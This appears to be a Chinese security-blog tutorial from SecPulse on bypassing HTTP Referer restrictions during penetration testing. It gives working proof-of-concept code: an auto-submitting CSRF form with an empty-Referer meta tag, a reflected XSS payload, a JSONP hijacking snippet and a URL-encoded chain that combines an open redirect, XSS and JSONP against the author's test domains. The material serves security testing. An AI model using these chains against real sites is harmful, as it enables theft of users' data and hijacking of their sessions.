GET请求-Referer限制绕过总结

前言

在做测试的时候会遇见这样几个漏洞场景:

  1. JSONP跨域劫持

  2. 反射XSS

  3. GET请求类型攻击

但是,在相对安全的情况下,都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢?


正文

什么是Referer?

Referer是请求头的一部分,假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接;这也就是为什么上文所说的场景,遇见了Referer的限制就可能GG了。

1.jpg

绕过之道

常规绕过

一个实际场景:

2.jpg


先来说说一些常规化的东西:

  • 子域名方式

使用子域名的方式进行绕过:

3.jpg


  • 域名前增加

在域名前面增加随机的a-z和0-9也可以进绕过:

v2-b74e3b32c003a7509408e67bdaec818c_hd (1).jpg

  • ?号

将域名作为GET请求参数进行绕过:

5.jpg


打破常规

置空Referer

之前在做测试的时候,将Referer对应的值置空也可以绕过,但是在真正的利用中能不能去实现呢?是可以的。

在HTML标签中有这样一个标签<meta>,而这个标签是可以定义Referer为空的,就是如下的代码:

<meta name="referrer" content="never">

我原来的PoC为:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/test.php">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body></html>

修改为空Referer头之后的PoC为:

<html>
  <meta name="referrer" content="never">
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/test.php">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body></html>

6.jpg

与其他资源组合

超链接

在上文就提到了A站有B站的链接,在A站点击B站的链接,Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接,链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击?

例如http://gh0st.cn做了Referer的限制:

7.jpg

实际场景:

  • 公开信息对外

在个人中心处可以编辑个人的微博地址:

8.jpg

微博地址是对外的公开信息:

9.jpg


那么结合一下点击劫持或者用户常规的点击了~那就GGGGGGG了~

  • 论坛

现在很多厂商都有自己的开放论坛,特别是Discuz这种很多,而Discuz回复是可以使用超链接的:

回复这样的格式:[url=u]t[/url] u部分为地址,t部分为地址名字~


URL跳转

302跳转是否可以?NO,不可以。

这里的URL跳转是JavaScript的URL跳转。

常见的两个:

window.location.href="url";
window.open("url");


反射XSS(Referer限制)

  1. 这里我已经有一个存在任意URL跳转漏洞了:http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

1.jpg

  1. 我有一个反射XSS漏洞:http://vulkey.cn/jsonp.php?callback=vulkey

当 referer = a.com :

2.jpg

当 referer = vulkey.cn :

3.jpg


当 referer = *.vulkey.cn :

4.jpg

这个接口验证了Referer使用之前的方法没办法绕过,于是采用组合拳搭配。

于是有了如下的构建:http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>

3.jpg


JSONP劫持+反射XSS+URL跳转


这个案例是基于上面反射XSS案例的,现在已知的三个问题:

  1. JSONP接口 http://vulkey.cn/jsonp.php?callback=vulkey有Referer限制

  2. 反射XSS http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>有Referer限制

  3. JavaScript URL跳转 http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

一般JSONP跨域劫持的PoC是这样的

<script>function jsonp2(data){alert(JSON.stringify(data));}
</script><script src="http://gh0st.cn/user/center?callback=jsonp2"></script>

但是因为有Referer限制,就不能在自己的站点上做PoC了,就只能利用反射XSS漏洞构建PoC:

http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E

但仅仅如此是不够是因为XSS有Referer来源的限制,所以最终的PoC应该是这样的:

http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E

4.jpg

也就是说在这里JS的URL跳转解决了XSS的Referer限制问题,而XSS又解决了JSONP接口的Referer限制问题,这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么"麻烦"。


结尾

文中总结一些小的TIPS,针对我遇到的实际案例进行了漏洞的复现截图,打开思维其实还有更多更好的思路,有机会后期会写出来。



本文作者:米斯特安全攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74691.html

Tags:
评论  (0)
快来写下你的想法吧!

米斯特安全攻防实验室

文章数:5 积分: 2

你的网络启程是否安全?关注米斯特安全攻防实验室:Mst.Hi-OurLife.CoM

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号